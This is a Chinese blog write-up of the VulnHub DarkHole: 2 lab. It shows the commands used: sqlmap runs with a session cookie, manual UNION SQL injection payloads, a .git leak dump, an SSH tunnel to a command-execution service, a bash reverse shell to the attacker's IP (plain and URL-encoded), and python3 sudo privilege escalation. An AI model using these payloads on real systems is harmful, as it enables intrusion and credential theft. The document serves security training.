DARKHOLE: 2

信息收集

靶机下载地址为:vulnhub-DARKHOLE: 2
今日 的靶机漏洞练习
kali :100.100.100.131/24
靶机:100.100.100.132/24

依旧使用nmap神器对局域网主机开放服务端口进行扫描,瞅瞅有没有可以利用端口

nmap -v -T4 -sC -sV -p- 100.100.100.0/24

在这里插入图片描述

在这里插入图片描述

发现有100.100.100.132 主机有wbe页面

在这里插入图片描述

这个应该就此此次的目标了,对它单独的扫描一次,收集更多信息

在这里插入图片描述

发现开放22端口和80端口,即对应的远程连接服务和web应用服务
在这里插入图片描述

emmm,别说做的还挺好看,等我打穿了我要给他扒下来

为了发现更多有用的信息有用的信息和文件 使用dirb/dirtsearch/蚁剑等目录爆破工具 对目录进行爆破

我个人比较喜欢dirseach工具的,非常好用,字典到位了就没有扫不出来的

在这里插入图片描述

在这里插入图片描述

发现有git文件

下载githack

git clone https://github.com/lijiejie/GitHack.git

GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码

在这里插入图片描述

python GitHack.py  http://100.100.100.132/.git

将git敏感文件下载到本地

在这里插入图片描述

在这里插入图片描述

对下载后对login.php文件进行代码审计发现账号密码
在这里插入图片描述

用git log 命令查看修改记录

在这里插入图片描述

从 git 日志中,作者在第二次提交时添加了默认凭据

git checkout   commit    #切换git提交

在这里插入图片描述

然后就出现一丢丢小意外了。思路卡住了,参考其他大佬打文章发现 /.git 源码泄露的利用方式,如果采用GitHack的话,在某些情况下会不太实用。悲剧了,那就换个方式

wget -r http://100.100.100.132/.git  #下载git源码

在这里插入图片描述

然后那个提交的文件就出现了

在这里插入图片描述

小意外又来了

。。。

他喵的,秉着不会就搜的原则,参考大佬博客也无果,(记一次,稍后解决)

先借鉴大哥们复原的git文件的账号密码继续干

在这里插入图片描述

漏洞挖掘

在网页中发现来一个怀疑是注入点的注入点 😃

?id=1  这波盲猜是个sql注入

在这里插入图片描述

在仪表板 URL 上,我们看到一个 GET 参数“id”。当我们改变它的值时,我们也可以观察到页面的变化。

ip/dashboard.php?id=NULL

在这里插入图片描述

这些值会消失,因为当然不会有 ID 为 null 的用户。

我一使用撇号,我们就会看到一个空白页,提示错误。这进一步暗示了 SQL 注入的可能性。

在这里插入图片描述

利用cookie进行注入爆破当前数据库

在这里插入图片描述

sqlmap -u "http://100.100.100.132 /dashboard.php?id=1" --cookie  PHPSESSID=8nui5so192cjagnvn30c7em5mi  --current-db

在这里插入图片描述

在这里插入图片描述

获取数据库darkhole_2的表名

sqlmap -u "http://100.100.100.132/dashboard.php?id=1" --cookie PHPSESSID=8nui5so192cjagnvn30c7em5mi    -D darkhole_2 --tables   --batch

在这里插入图片描述

获取敏感信息

sqlmap -u "http://100.100.100.132/dashboard.php?id=1" --cookie PHPSESSID=8nui5so192cjagnvn30c7em5mi  -D darkhole_2 -T ssh -dump

在这里插入图片描述

既然拿到登录用户的账号密码,那可以使用ssh进行登录

ssh jehad@100.100.100.132

在这里插入图片描述

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

查看定时任务

cat /etc/crotab

在这里插入图片描述

在这里,我们可以看到一个 web 服务器运行在 9999 端口。当我们看到源代码的内容时,我们看到这允许远程命令执行。

在这里插入图片描述

使用 SSH 隧道连接端口 9999

ssh -L 9999:127.0.0.1:9999 jehad@100.100.100.132

然后,访问 127.0.0.1:9999 进行 RCE。

在这里插入图片描述

现在,我们可以在用户有损时获得一个反向 shell。为此,我正在侦听端口 9001。

nc -nlvp 9001

下面的payload会给我一个反向shell。

bash -c 'bash -i >& /dev/tcp/100.100.100.131/9001 0>&1'

接下来,我必须以 URL 编码格式对其进行编码。

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F100.100.100.131%2F9001%200%3E%261%27

在这里插入图片描述

成功回显并反弹一个外壳

根权限提升

查看该用户的bash历史

在这里插入图片描述

发现了密码,利用获取的密码进行登录

在这里插入图片描述

查看该用户可运行的用户权限,发现一个大宝贝python3。噢,度娘一个pyrthon提权,走起

在这里插入图片描述

在这里插入图片描述

查看该靶机的flag
在这里插入图片描述

flag:   DarkHole{'Legend'}

港港丹丹拉~~~~ 回头搞git泄露去ji

补手注:

使用 ORDER BY 来确定回显注入位。

id=1' ORDER BY 5 -- -
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- - 

在这里插入图片描述

在这里插入图片描述

第7列报错说明可能只有六位

?id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -

在这里插入图片描述

查询当前数据库

?id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -

在这里插入图片描述

再数据库中查询数据表

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -

在这里插入图片描述

查询数据表的列名

id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -

在这里插入图片描述

查询用户名

id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -


在这里插入图片描述

总结

​ 此次靶机练习发现个人对。git泄露相关知识和python提权手法有些遗忘,不熟练,偷懒使用了sqlmap对账户进行注入,后续补上手注命令,涉及到了相对简单的sql注入漏洞、git源码泄露、代码执行漏洞、与root权限python3提权,靶机相对简单,适合联手,如信息收集不到位(咳咳,我的git文件切换失败,未能拿到账户密码),可能就无法继续渗透,提权信息收集也比较重要,如定时任务查看、端口发现、sudo权限等等,再接再厉,搞起

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值